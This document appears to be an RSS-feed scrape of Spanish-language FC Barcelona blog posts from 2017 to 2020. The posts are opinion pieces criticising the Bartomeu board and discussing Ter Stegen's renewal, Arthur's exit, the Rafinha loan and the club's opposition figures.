Emili Rosaud: Fue directivo de Bartomeu hasta que estalló el BarçaGate (el escándalo sobre las campañas financiadas por el club para difamar a activos y empleados del club, defender al presidente y atacar a los principales opositores a la junta actual). Representaría la figura continuista pero crítica con las formas de hacer actuales.

Jordi Roche: Figura vinculada a Sandro Rosell. Representaría el continuismo más próximo al expresidente del Barça. Hasta ahora no ha aparecido en los medios. Rosell sí lo hizo para confirmar que no quería presentarse él mismo pero que sí quería participar en el proceso.

]]> Ter Stegen debe irse https://www.rondoblaugrana.net/2020/08/ter-stegen-debe-irse.html?utm_source=rss&utm_medium=rss&utm_campaign=ter-stegen-debe-irse Wed, 05 Aug 2020 06:00:04 +0000 https://www.rondoblaugrana.net/?p=18665 Marc André Ter Stegen es, hoy, el mejor portero del mundo, o al menos entra de pleno derecho en la discusión sobre el mismo sin que nadie se escandalice por ello. El guardameta alemán llegó a Barcelona en verano de 2014 procedente del Borussia Mönchengladbach como un prometedor cancerbero que venía a suplir a un mito como Victor Valdés junto al chileno Claudio Bravo. Tras dos temporadas siendo el titular en las copas y suplente de Claudio en LaLiga se erigió ya como titular indiscutible, lugar en el que se ha asentado y ha alcanzado probablemente su cénit profesional.

En mayo del 2017 firmó su renovación Ter Stegen con el Barcelona hasta junio de 2022. Hoy, Marc André se encuentra en una relativa cómoda situación. Si decidiese no renovar ofertas lucrativas e interesantes no le van a faltar. Tanto en la Premier League, como el Bayern o la Juventus, por ejemplo, podrían ofrecerle un salario a la altura de su status, la titularidad en sus respectivas porterías y, también vayamos a reconocerlo, un proyecto deportivo como mínimo tan o más ilusionante que el ofrecido hoy por el Fútbol Club Barcelona de Josep Maria Bartomeu.

¿Por qué no debería renovar Ter Stegen?

Siendo un personaje que se ha integrado perfectamente en la cultura y la sociedad barcelonesa y catalana como pocos extranjeros han hecho Marc debe plantearse su futuro profesional. Y hoy, si su decisión se basara únicamente en este parámetro, la mayoría de ofertas que le pudieran llegar de fuera le podrían ofrecer un mejor futuro. Equipos mejores, proyectos deportivos ambiciosos con vistas a ganar a corto y largo plazo, mantenimiento de un status ya consolidado como mejor portero del mundo hoy frente a un Barcelona que no se ha cansado de hacer el ridículo por los campos de Europa con la presencia cada partido de los mismos futbolistas que en su día fueron los mejores en sus respectivas posiciones y ahora son unas meras fotocopias descoloridas y decadentes de lo que en su día fueron. Si además de esto, que no es poco, añadimos que Bartomeu, en una decisión tan ambiciosa, como fue ofrecer el cargo de entrenador a técnicos con muy poco bagaje en la élite europea ni tampoco ningún tipo de carisma o liderazgo culé como fue Ernesto Valverde o ahora Quique Setién, tenemos el resto.

Además, en una dinámica como la actual, en el que ni la directiva ni el cuerpo técnico están a la altura, Ter Stegen tiene que ver como todas y cada una de las potentes inversiones que efectuó el club para intentar relanzar el proyecto a lo mínimo exigible a la entidad azulgrana, han sido o están siendo un fracaso absoluto. Jugadores fuera de posición, rendimientos mediocres, nulo liderazgo y tutela ante el futuro de la entidad y la descapitalización de la Masia en beneficio de fichajes mediocres culminan en el que es hoy un Barça fallido que necesita como el comer su renovación para no perder aún más prestigio y potencial deportivo. Pero seamos honestos, si termina renovando no es por cuestiones deportivas, será por económicas o sentimentales. Y esto es un auténtico fracaso para el Barcelona. Uno más.

]]> Fracaso absoluto https://www.rondoblaugrana.net/2020/07/fracaso-absoluto.html?utm_source=rss&utm_medium=rss&utm_campaign=fracaso-absoluto Wed, 29 Jul 2020 06:00:48 +0000 https://www.rondoblaugrana.net/?p=18627 Esta semana ha tenido lugar el capítulo final de una novela que apuntaba a ser histórica  y que se ha quedado en la nada, la de Arthur y el Barça. Después de oficializarse su traspaso a la Juventus y no jugar nada desde entonces en Liga el jugador brasileño tomó la decisión  de quedarse en Brasil y declinar su participación en la Champions League, si así lo hubiera estimado Quique Setién. Es el último episodio de una historia que supone un fracaso estrepitoso para todas las partes.

El principal culpable no es otro que el propio jugador, que hace tiempo dimitió como profesional del Barça. Y no lo pudo tener todo más de cara para triunfar. En cuanto apareció en escena en Wembley se metió en el bolsillo a todos los culés, deseosos de ver en él algo parecido a Xavi. Esos giros, esa manera de proteger el balón y de dominar algunos escenarios invitaban a pensar en él como uno de los grandes dominadores de Europa. Contaba además con el beneplácito de Leo y caía en un equipo que necesitaba un jugador de su perfil y en un club que siempre ha apostado por este tipo de futbolista. Absolutamente todo a favor.

Desde Wembley hasta sus primeros problemas físicos tuvo una participación impactante, tanto que se volvió indiscutible para Ernesto Valverde. Hay quien dice que el entrenador extremeño no apostaba por él, pero no hay falacia mayor. Siempre que estuvo en condiciones dignas de participar fue un fijo para «Txingurri». Titular en los dos Clásicos ligueros. Titular en la ida de Copa ante los blancos, partido en el que se lesiona y regresa para la vuelta unos minutos. Titular en los dos duelos ante el Atlético de Madrid. Titular en la vuelta de 1/8 UCL ante el Lyon (la ida se la pierde por lesión) y también en los dos partidos de 1/4 ante el United. En todos estos duelos europeos es sustituido y su rendimiento queda muy lejos del mostrado antes de la lesión de febrero. Por ello en las semifinales ante el Liverpool juega 15 minutos e inmediatamente hay parte médico anunciado su baja por problemas musculares, por lo que es de suponer que los venía arrastrando semanas y meses,  de ahí su peor rendimiento y su dosificación por parte del entrenador.

Esa baja de febrero, por cierto, producida en el partido de ida de las semifinales de Copa ante el Real Madrid en el Camp Nou tras irse a una fiesta organizada por Neymar dos días antes en París, error que él mismo reconoció y que, es evidente, marcó un antes y un después en su rendimiento de la temporada 18-19.

Lo que ha pasado en esta 19-20 y sus repetidísimas ausencias es mejor mostrarlo con el historial de lesiones, aunque nuevamente hay que subrayar que seguía siendo indiscutible para Valverde. Titular en el Wanda, titular en los tres primeros partidos de Champions e incluso titular luego con Setién en el Bernabéu o Mestalla.

Muchos motivos se pueden esgrimir para justificar tal cantidad de ausencias, desde su poca formación física de base, pasando por fallos en la preparación del equipo hasta la falta de profesionalidad de la que tanto se habla. Creo que hay mucho de las tres cosas, pero es evidente que es un jugador que en dos años ha faltado demasiado, que ha estado lejos de su mejor nivel también demasiado y que solo ha mostrado su talento con cuentagotas. Arthur no es un jugador en el que se pueda confiar y por ahí está justificada su marcha.

Seguro que ha sido una gran oportunidad para esta incompetente y corrupta directiva para cuadrar cuentas, pero si Arthur hubiera hecho su trabajo nada ni nadie le sacaba de este equipo. Conviene recordar que el brasileño fue un fichaje de esta Junta, que podía ser uno de los pocos legados que iban a dejar y que a su nivel era un jugador que te acercaba a la victoria, el fin único de Bartomeu y su séquito para perpetuarse en el poder culé. Que la marcha de Arthur sea una operación únicamente económica no se sostiene. Seguramente el Barça, que además manejará información mucho más detallada de su físico y su conducta, pensará que es un jugador irreconducible y que mejor venderlo ahora que esperar y que su valor sea muchísimo menor.

Esta espantada última del brasileño no queriendo regresar a Barcelona no hace sino reforzar la posición del club respecto a su traspaso, pues Arthur, que sigue cobrando del Barça, se niega a cumplir con sus obligaciones como sí hacen el resto de sus compañeros.

La marcha de Arthur es también el fracaso del Barça como club, pues pierde a uno de sus mayores activos sin, aparentemente, poder hacer nada, pero creo que si alguien gobernara la institución con mando y jerarquía el problema podría haber sido reconducido. O al menos hubiera merecido la pena intentarlo. Porque el Fútbol Club Barcelona es un club descabezado y en un desgobierno continúo. No hay ninguna figura fuerte en la institución para asumir el mando en ninguno de los estamentos que rigen Can Barça.

Empezando por una directiva que lo hace prácticamente todo mal y que no tiene ni autoridad ni credibilidad y tampoco legitimidad para tomar decisiones. Ellos quieren y necesitan ganar para seguir ahí cueste lo que cueste al club, que no a ellos. Y se les acaba el tiempo. No se le puede reprochar a Arthur que no tome en serio al Club cuando son el hazmerreír de todo el mundo futbolístico.

Siguiendo por una dirección deportiva que sobrevive como puede tras ver cómo han pasado muchos managers antes que ellos, que son abroncados públicamente por los jugadores y que no tienen más proyecto que el cortoplacismo por convicción u obligación.

Tampoco Arthur ha tenido una figura fuerte en el vestuario que le haya motivado a ser el mejor. Uno se podía imaginar transmitiendo este mensaje a Pep, a Mourinho o a Klopp, pero no a Valverde o Setién. Y en el vestuario tampoco Arthur habrá encontrado la ambición para crecer porque está rodeado de jugadores absolutamente acomodados que ya lo han ganado todo y que hacen de la autogestión su modo de vida desde hace muchas temporadas. ¿Cómo se va a ver Arthur en la obligación de cumplir determinadas cosas dentro de un vestuario en el que todo el mundo hace lo que quiere? Se piden fichajes, se pone mala cara cuando te cambian, se critica al cuerpo técnico, se hace caso omiso a los servicios médicos e incluso se reprende a la «malacostumbrada» afición cuando se protesta contra el tedio que es este equipo.

¿Como se le va a pedir seriedad a alguien si es un club cualquier cosa menos serio? ¿Cómo pedir respeto para la institución si quienes deben velar por ella se han cagado encima cada vez que han querido? Arthur ha abdicado sin haberse acercado siquiera al trono porque así lo ha querido, pero el Club no tiene absolutamente nada que ofrecer. Ni a él ni a nadie.

]]> Setién en mal momento https://www.rondoblaugrana.net/2020/01/setien-en-mal-momento.html?utm_source=rss&utm_medium=rss&utm_campaign=setien-en-mal-momento Wed, 29 Jan 2020 07:00:19 +0000 https://www.rondoblaugrana.net/?p=18032 El Barcelona ha sido un club que ha destacado por encima de muchas otras cosas por ser una entidad que ha tenido paciencia con sus entrenadores y ha dotado de estabilidad a la parcela deportiva para poder desarrollar así los diferentes proyectos deportivos. Hasta que llegó a la presidencia Josep Maria Bartomeu y consideró que, ante cualquier vicisitud contraria a sus intereses o planteamientos primarios el director deportivo de turno acabaría en la larga lista del paro. El primero en sufrir este sinfín de cambios fue Zubizarreta después de la catártica derrota en Anoeta en ese mes de enero de 2015 en el que Luís Enrique corría peligro de destitución. El resto fue historia.

Después de Zubizarreta en la dirección deportiva apareció el nombre de Robert Fernández. Su paso por el Camp Nou no pasó de los dos años, el más estable de todos, con la salvedad de que en ese verano no tenía la posibilidad de fichar y se cerró su etapa de dos temporadas con algunas incorporaciones con buenas intenciones y resultados…mejorables (Cillesen, Semedo, Digne, Gomes, Alcácer, Arda, Aleix Vidal, etc.). Con un Luís Enrique con gran poder tras el triplete Bartomeu dio las riendas a Pep Segura para heredar el cargo de Robert y dejar al sucesor de Zubi como una especie de subalterno para gestionar toda la política deportiva. Dónde antes había un único y claro responsable pasó a dos más el papel de un entrenador influente como era el asturiano.

Tras los tres años de Lucho como técnico de la entidad azulgrana la decisión de apostar por Ernesto Valverde recayó en Segura, Robert y Bartomeu hasta que, debido a la escasa popularidad de Segura se decidió dar las llaves de la dirección a Abidal después de que Jordi Cruyff o Puyol rechazaran el cargo. Mientras, Robert mantenía un sitio con presumible poco poder pero con un papel indeterminado en el club.

Como Luís Enrique, Valverde difrutó de cierta tranquilidad en su puesto y hasta la supercopa del integrismo islámico su continuidad parecía asegurada, pero si en el Barça han pasado 4 directores deportivos durante el mandato de Bartomeu era cuestión de tiempo que la inestabilidad directiva acabara en el banquillo con su trasero en la cola del INEM para dar un cargo envenenado a Quique Setién. Veremos si el cántabro sobrevive a estos vaivenes o acaba como los nombres citados anteriormente. Que Messi le asista.

]]> Bartomeu se la juega al 2020 https://www.rondoblaugrana.net/2019/09/bartomeu-se-la-juega-al-2020.html?utm_source=rss&utm_medium=rss&utm_campaign=bartomeu-se-la-juega-al-2020 Mon, 02 Sep 2019 06:00:18 +0000 https://www.rondoblaugrana.net/?p=17403 Por @Joanbarriach

El Fútbol Club Barcelona se enfrenta a otra temporada con los mismos objetivos de la temporada pasada: Aspirar a todos los títulos. Lógico si tratamos de una entidad con un presupuesto cercano a los 1000 millones anuales con una potente inversión en fichajes de cara a reforzar la plantilla. Bartomeu, el presidente surgido de la dimisión express de Rosell en 2014 y elegido por los socios en verano de 2015 tras el triplete con Luís Enrique, ha enfocado este verano como uno de los puntos clave para la reelección de su sucesor de cara a la presidencia del club. Teóricamente las elecciones deben ser el verano de 2021 pero ya hay varios candidatos (Víctor Font y Joan Laporta) que han anunciado su intención de presentarse y no sería sorprendente que Bartomeu, si los resultados y los números salen, anticipase los comicios una temporada.

En el equipo de fútbol Bartomeu se ha mostrado ambicioso como casi nunca en la historia de la entidad. En un mismo verano ha incorporado a Griezmann por 120 millones y a Frenkie de Jong, el mejor centrocampista de la pasada Champions, procedente del Ajax por 70M aproximadamente. Y a la vez, la apuesta al todo por el todo para una repesca de Neymar, mostraba por encima de todo que el presidente este verano buscaba el todo por el todo con el dinero del hoy y del mañana para montar una auténtica constelación de estrellas.

En baloncesto, una sección dejada de la mano de auténticos incompetentes y la enorme capacidad de tirar el dinero en operaciones fallidas, la apuesta presidencialista ha sido notable. Mirotic, que parecía imposible cuando surgió el primer rumor, confirmó las sensaciones plasmadas en el primer equipo de fútbol. Bartomeu quería y buscaba el protagonismo y la ambición para conseguir notables resultados y regenerar la sección principal del Palau Blaugrana era necesario. Harto de ver al eterno rival por encima tantos años es inasumible para un presidente que quiere la reelección. Y acercándose los comicios la ambición y el riesgo plasmado demuestran que todo va al 2020.

¿Serán las elecciones el próximo verano? Legalmente, en base a los estatutos del club y a la legislación de la Generalitat, una junta directiva tiene un mandato de seis años, con lo que Bartomeu sólo estaría obligado a convocar los comicios electorales en 2021, justo seis años después de su elección. La realidad también es que Bartomeu heredó el cargo en 2014 después de que Sandro Rosell dimitiera ese año tras 4 años de mandato, fue elegido en 2010, con lo que como presidente está en la potestad de llamar a los socios a las urnas cuando considere oportuno si las circunstancias lo recomiendan, con lo que ese escenario (ir a las urnas este próximo verano) es probable.

Josep Maria Bartomeu no será el próximo presidente, sus movimientos y esa ambición no va para él, sino para que alguien de su junta tenga más ventaja y opciones ante Font y Laporta de cara a la los próximos comicios, y tener buenos resultados en fútbol y conseguir que la sección de baloncesto recupere un cetro perdido son buenos puntos de cara a la “reelección”. Obviamente, el balón marcará sentencia y el socio elegirá la que considere la mejor candidatura de las que se presenten, tanto sea en 2020 como en 2021.

]]> El esperpento del caso Rafinha https://www.rondoblaugrana.net/2019/01/que-bien-salio-el-caso-rafinha.html?utm_source=rss&utm_medium=rss&utm_campaign=que-bien-salio-el-caso-rafinha Thu, 10 Jan 2019 01:29:14 +0000 https://www.rondoblaugrana.net/?p=16059 En este mercado de invierno se esperaba poder aprovechar de una vez la oportunidad de vender a Rafinha Alcántara pero la enésima lesión de rodilla del canterano arruinó los planes del Barcelona, lo que dejó aún más al descubierto la terrible gestión que la directiva culé llevó a cabo del caso el pasado verano, momento en el que se cometieron negligencias y se contaron mentiras a los aficionados. Y que conste que el peor parado de todo esto es el propio futbolista; se pasó unos meses en el Barça casi sin jugar, y gracias de la lesión de Messi, y la rodilla le dejará sin sentirse futbolista durante el resto de la temporada, al final de la cual el club probablemente acabe malvendiendo, o cediendo de nuevo, al menor de los Alcántara.

Vaya por delante que el verano pasado fue bueno en general para el Barcelona tanto en entradas como, algo menos, en salidas, y también que Rafinha es un muy buen jugador, pero ha quedado bastante claro que, por la razón que sea, al Barcelona no le sirve. La cesión al Inter parecía un movimiento sólido; con la opción obligatoria de 35 millones si los interistas se clasificaban para la Champions, o eso nos contaron, ya que en caso contrario el Fair Play Financiero no les permitiría realizar una inversión de tal calado. 35 millones es un buen precio por el centrocampista, en mi opinión, aunque con el mercado actual se podría intentar estirar hasta una cifra entre los 40 y los 50 millones. Eso es por un Rafinha sano, cosa que Rafinha no estará varios meses.

El primer problema vino con el hecho que la cláusula de 35 millones no era obligatoria en ningún caso para el Inter, eso fue una mentira de la directiva azulgrana difundida por los medios, quienes, como muchos aficionados, nunca se preguntaron la razón por la que se pasó a llamar “pacto de caballeros” cuando los transalpinos decidieron no ejecutar la cláusula, pacto que el Inter no cumplió, el club italiano quería una rebaja mientras se gastaba el dinero en Nainggolan, diferente que Rafinha, más viejo y más caro, y estaba a punto de hacer otro desembolso importante en Arturo Vidal cuando lo pescó el Barça.

Huelga decir que si la opción firmada por Rafinha hubiera sido obligatoria el Barcelona hubiera podido exigir su cumplimiento ante los organismos pertinentes, si no se hizo es porque nunca existió tal obligatoriedad. La actitud del Inter es muy reprochable, las cosas como son, pero la directiva del Barça mintió a todo el mundo, y cuando quedó la mentira descubierta se culpabilizó al club italiano y nadie exigió explicaciones a Bartomeu y compañía.

El esperpento siguió cuando el club buscó activamente otros compradores y logró convencer al Betis, pero las peticiones azulgranas eran demasiado altas para los andaluces, a pesar de ello parecía que el acuerdo era cuestión de tiempo. Hasta que saltó la sorpresa y el club verdiblanco fue más listo y, con el cierre del mercado a la vista, se agenció a Lo Celso, más joven y con una opción de compra más barata, proveniente del PSG. El Barça tensó demasiado la cuerda creyendo tener la sartén por el mango y el trasero de la directiva blaugrana quedó otra vez al descubierto y logrando un precioso bronceado en el caluroso agosto barcelonés. Sorprendentemente, el moreno de la retaguardia de los mandamases culés tardó más en esfumarse que la voluntad de explicaciones de socios, compromisarios y la siempre complaciente prensa.

]]> Freixa como paradigma de oposición https://www.rondoblaugrana.net/2017/09/toni-freixa-opsicion-fc-barcelona.html?utm_source=rss&utm_medium=rss&utm_campaign=toni-freixa-opsicion-fc-barcelona Fri, 22 Sep 2017 00:00:23 +0000 https://www.rondoblaugrana.net/?p=14041

“No soy partidario de mociones de censura. Sí lo soy de elecciones y de que la gente se las tome en serio. Una lástima el resultado del 2015.” – Toni Freixa

Toni Freixa fue el único que no dimitió. Como paso previo a la convocatoria de elecciones en 2015, los directivos del FC Barcelona presentaron su dimisión, a excepción de Freixa, que ante la falta de comunicación por parte de Josep Maria Bartomeu decidió que fueran los propios estatutos los que dictaran su sentencia. Aunque el presidente blaugrana ya la había dictado un tiempo atrás. Meses antes de ese verano de 2015, las relaciones entre ambos se rompieron y a pesar de que Freixa siguió en el club, su responsabilidades fueron menguando hasta ser prácticamente nulas. Esa decisión del directivo que había pasado por las presidencias de Laporta, Rosell y Bartomeu no era orgullo, ni nada atribuible a lo irracional, sino que era la primera piedra para postularse como candidato a las elecciones que, semanas después, acabarían con él como cuchara de madera.

“Siento tanto amor por el club, que me presenté en 2015 avisando de todo esto.” – Toni Freixa

Después de la debacle de un Freixa que se presentaba consciente de que la victoria era inalcanzable, el ex directivo empezó su papel de opositor con un tono calmado, marcado por un “dejémosles trabajar” que poco a poco fue modificando a medida que los hechos se acumulaban en el Camp Nou. De un tiempo a esta parte, el seguidor blaugrana ha podido apreciar a un Toni Freixa que si bien jamás ha cruzado una línea en sus palabras en contra de la directiva, se ha mostrado crítico en cada cuestionable acción de Bartomeu y los suyos. Sin embargo, ya su tono en lo que se refiere al caso Neymar (el original, no el de su marcha al PSG) hace dudar de su figura. A día de hoy, con el club condenado por haber cometido dos delitos fiscales, Freixa insiste en qué no hubo delito fiscal a la hora de fichar al brasileño, y lamenta el pacto que Bartomeu y Rosell firmaron, con el único fin de quedar impunes y traspasar la culpabilidad al club, quien según el propio presidente “sí cometió dos delitos fiscales a diferencia de Rosell y yo”. Freixa critica el pacto y no entra en demasía en lo que al fichaje de Neymar se refiere. Cuesta entender que la mayor baza para un presidenciable a la hora de desacreditar a su inmediata competencia no salga a relucir en su discurso.

“Cuando empiece el proceso, hablaremos.” – Toni Freixa, sobre la moción de censura.

En las últimas dos temporadas, al debate anterior se le ha añadido el futbolístico, sobre el que Freixa insistió en campaña: “Mi modelo es el de La Masia”. Tomado como discurso principal, fue la forma con la que intentó desmarcarse de sus antiguos compañeros, haciendo entender al socio que Bartomeu no tenía la cantera como idea de club. Desde ese momento, y con especial énfasis en la última campaña de Luis Enrique, Freixa ha insistido tanto en la pérdida del peso de La Masia como en el alejamiento del juego de posición, el que Cruyff importó, aunque no pareció titubear cuando en 2010 accedió a retirarle la presidencia de honor junto al entonces presidente, Sandro Rosell. Pero a finales de la temporada pasada, Freixa inició un discurso que mantiene: “Ya habrá tiempo de…”. Si el “Winter is coming” es el lema de la Casa Stark, en la Casa Freixa su homónimo sería el “No es momento para esto”. Y si algunos todavía esperan que en algún momento se pronuncie con un discurso claro, coherente y sin tapujos sobre lo sucedido en los últimos dos años en el Barça, más allá de entrevistas comentando temas puntuales de actualidad, parece que con la moción de censura el lema a aplicar es el mismo: el silencio.

“¡Por supuesto que hay! Pleno respeto a los que lo hacen y a los que no. Y también a los que, como en mi caso, no quieren hacerlo público.” – Toni Freixa sobre si hay motivos para firmar la moción de censura de Benedito

En un momento en que el discurso puede quedar a un lado para dejar paso a los hechos, Toni Freixa ha decidido callar y no hacer nada. Claro está que a la otra parte de la oposición “activa”, Joan Laporta, tampoco le interesa que Benedito se corone como el hombre que echó a esta directiva, pero es consciente que para poder librar la batalla de unas nuevas elecciones, primero hace falta hacerlas realidad. Y aun con recelo, poco ruido y no mucha insistencia, Joan Laporta firmó la moción de censura. Es posible que, como dice, Freixa no esté de acuerdo con las mociones de censura (aunque no dudó a la hora de votar “sí” a la Acción de Responsabilidad Social), incluso que no encuentre motivos para echar a Bartomeu, pero parece que hacer pública su opinión no le conviene. Y si parece claro que decir que “no” a esa moción le alejaría de los socios que tienen claro que esta directiva no debe seguir, el “sí” difícilmente le restaría un voto ya de por sí residual. Parece, pues, que ir de frente contra sus ex compañeros de despacho no le sale a cuenta. Lo que muchos se preguntan es “¿por qué?”.

Y es que Freixa parece el ejemplo más claro, aunque también el que más condicionantes tiene a su alrededor. Pero no deja de ser evidente que la oposición en el FC Barcelona tiene más de política que de club de fútbol. Siempre ha sido así, pero cuesta entender que un potente grupo de presidenciables no sean capaces de unirse para tumbar a aquellos que han provocado que, a día de hoy, el Barça sea un club delincuente. Porque aquí cada uno hace su guerra, incluso Seguiment, que no tardó en declararse neutral en la moción de censura. Parece que algunos no ven tan mal la gestión que se está haciendo del club y que, como Freixa, se escudan en las elecciones de 2015. Cuando, por cierto, el Barça todavía no había sido sentenciado con más de cinco millones de multa por cometer dos delitos fiscales. No es que lo haga Bartomeu, que tiene derecho a decir que fue elegido por los socios, sino que parte de la oposición se dedica a repetirlo mientras que la otra parece que prefiere las cámaras y los micrófonos a realmente hacer algo por el bien del Barça.

]]>